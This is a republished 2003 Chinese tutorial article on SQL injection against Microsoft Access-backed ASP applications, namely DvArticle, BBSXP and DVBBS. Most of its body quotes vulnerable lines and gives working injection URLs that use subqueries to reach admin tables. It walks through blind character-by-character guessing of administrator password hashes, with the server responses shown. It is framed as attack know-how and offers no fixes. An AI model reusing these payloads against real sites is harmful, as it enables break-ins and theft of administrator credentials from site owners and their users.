中国IT动力,最新最全的IT技术教程
最新100篇 | 推荐100篇 | 专题100篇 | 排行榜 | 搜索 | 在线API文档
首 页 | 程序开发 | 操作系统 | 软件应用 | 图形图象 | 网络应用 | 精文荟萃 | 教育认证 | 硬件维护 | 未整理篇 | 站长教程
ASP JS PHP工程 ASP.NET 网站建设 UML J2EESUN .NET VC VB VFP 网络维护 数据库 DB2 SQL2000 Oracle Mysql
服务器 Win2000 Office C DreamWeaver FireWorks Flash PhotoShop 上网宝典 CorelDraw 协议大全 网络安全 微软认证
硬件维护  CPU  主板  硬盘  内存  显卡  显示器  键盘鼠标  声卡音箱  打印机  机箱电源  BIOS  网卡  C#  Java  Delphi  vs.net2005
  当前位置:> 网络应用 > 网络安全
SqlInjectionwithAccess
作者:佚名 时间:2003-10-17 08:43 出处:互连网 责编:chinaitpower
              摘要:SqlInjectionwithAccess

>>>Dedicated This Scrap To CaoJing<<< 

很多朋友在ACCESS下进行SQL注入攻击的时候,总会抱怨:ACCESS功能太弱了,没有注释符、不支持多语句查询...另一方面,很多程序员在使用ACCESS做数据库写程序时,往往只对那些对敏感表的操作代码执行严格审查,而其他一些表的操作代码就很粗糙了。这只能说我们对ACCESS了解太少了,前不久我有幸看到了一个专门的ACCESS站点,其论坛划分了很多版块,竟然全是和ACCESS有关的;原来这里头的学问还蛮多的,我等只是略懂皮毛而已。小弟愚笨,没能力写概览型的文章,还是通过几个例子来向大家说明些问题: 

一:动网文章 

涉及版本: 
^^^^^^^^^^ 
动网文章所有版本 

描述: 
^^^^^^ 
动网文章是一款由WWW.ASPSKY.NET开发和维护的源代码开放的文章管理系统,在国内使用非常广泛;由于其list.asp文件没有过滤用户提交传递给SQL查询的输入,导致远程攻击者可以利用这个漏洞进行SQL注入攻击。 

具体: 
^^^^^^ 
试看list.asp中的相关代码: 
15 sql="select Aclass.class,ANclass.Nclass,article.title,article.classid,article.Nclassid from article,Aclass,ANclass where article.classid=Aclass.classid and article.Nclassid=ANclass.Nclassid and article.articleID="&request("id") 

id没有经任何检查就直接放到SQL查询中,这点大家都很容易看出来,但说到利用,一些朋友就可是犯难了:这个语句对应的表是 article ,但管理密码在 admin 表里面,ACCESS又不能执行多语句查询,这个bug有什么用啊?呵呵,我们使用子查询不就得了,方法好多哦: 

http://www.target.com/asp/darticle/list.asp?id=(select id from admin where flag=1) 

http://www.target.com/asp/darticle/list.asp?id=(select min(id) from admin where flag=1) 

http://www.target.com/asp/darticle/list.asp?id=1 and exists (select id from admin where flag=1) 

http://www.target.com/asp/darticle/list.asp?id=1 and article.articleID  in (select top 1 id from admin where len(password)>1 order by id) 
等等... 

怎么得到管理员密码就不用我废话了吧:) 

二:BBSXP 

涉及版本: 
^^^^^^^^^^ 
BBSXP所有版本 

描述: 
^^^^^^ 
BBSXP是一款由WWW.BBSXP.COM开发和维护的源代码开放的Asp论坛;由于作者采用的安全防护措施过于简单,导致整个论坛多个文件存在Sql Injection漏洞,非法用户可以很快地智能破解任意用户口令或进行其他恶意攻击。 

具体: 
^^^^^^ 
前不久我写了篇关于BBSXP漏洞的文章,作者简单的把论坛升了级,但仍然没有全面解决Sql Injection的问题,比如说: 
bank.asp 
------------------------------------------------------------------------------- 
152  sql="select * from user where username='"&request("dxname")&"'" 
153  rs1.Open sql,Conn,1,3 
154  if rs1.eof then 
155  message=message&"<li>查无此人的账号!" 
156  end if 
------------------------------------------------------------------------------- 
呵呵,拿user表中所有用户密码没问题了,但又有人开始嘀咕了:BBSXP后台管理密码和论坛前台密码不同,怎么办啊? 
后台密码存放在 clubconfig 表中,还是和上面利用方法一样,使用子查询嘛。 
还给个例子吧: 
searchok.asp 
------------------------------------------------------------------------------- 
forumid=Request("forumid") 
... 
21  if Request("forumid")<>"" then 
22  forumidor="forumid="&forumid&" and" 
end if 
... 
sql="select * from forum where deltopic<>1 and "&forumidor&" "&item&" "&TimeLimit&" order by lasttime Desc  " 
... 
------------------------------------------------------------------------------- 
提交类似如下URL(最好写个小代码发送这个请求): 
http://www.target.com/bbsxp165/b ... dminpassword)>1) 
瞧,我们这不是开始对 clubconfig 表进行查询了吗? 

三:动网论坛(DVBBS)存在严重漏洞(补充) 
这个漏洞我公布后,就有好多朋友给我写信,有的问怎么破解MD5(有破解的必要吗?)、有的要测试代码、还有的要我做个动画...同时也有人说后台管理密码和论坛前台密码不同,怎么拿后台的?我猜这些朋友自己没怎么思考,思考应该是种很美的享受吧? 
我补充下怎么拿后台MD5加密的管理密码: 

http://www.target.com/dv/tongji. ... id)%20from%20admin), 
返回: 
------------------------------------------------------------------------------- 
document.write('□');document.write('9');document.write(' 
');document.write('□');document.write('9');document.write(' 
'); 
------------------------------------------------------------------------------- 

http://www.target.com/dv/tongji. ... ere%20left(password,1)='a'), 
返回: 
------------------------------------------------------------------------------- 
document.write('□');document.write(');document.write(' 
');document.write('□');document.write(');document.write(' 
'); 
------------------------------------------------------------------------------- 
啊,为空,我们猜错了,再来: 

http://www.target.com/dv/tongji. ... ere%20left(password,1)='d'), 
返回: 
------------------------------------------------------------------------------- 
document.write('□');document.write('9');document.write(' 
');document.write('□');document.write('9');document.write(' 
'); 
------------------------------------------------------------------------------- 
哈哈,这下猜对了。 
接下来由你继续,当然,你可以把我以前写的那个小程序稍微修改后再放到这里使用! 

不过我要提醒你,DVBBS后台管理文件是cookie+session双重认证哦! 

后记:我到一个原代码下载站随机down了一些程序,包括论坛、留言本、文章下载管理...发现都存在类似的问题。其实只要我们
关闭本页
 
首页 | 投资与合作 | 服务条款 | 隐私政策 | 收藏本站 | 设为首页 | 新用户注册 | 免责声明 | 使用帮助
Copyright ©2005-2008 chinaitpower.com All rights reserved. www.chinaitpower.com 版权所有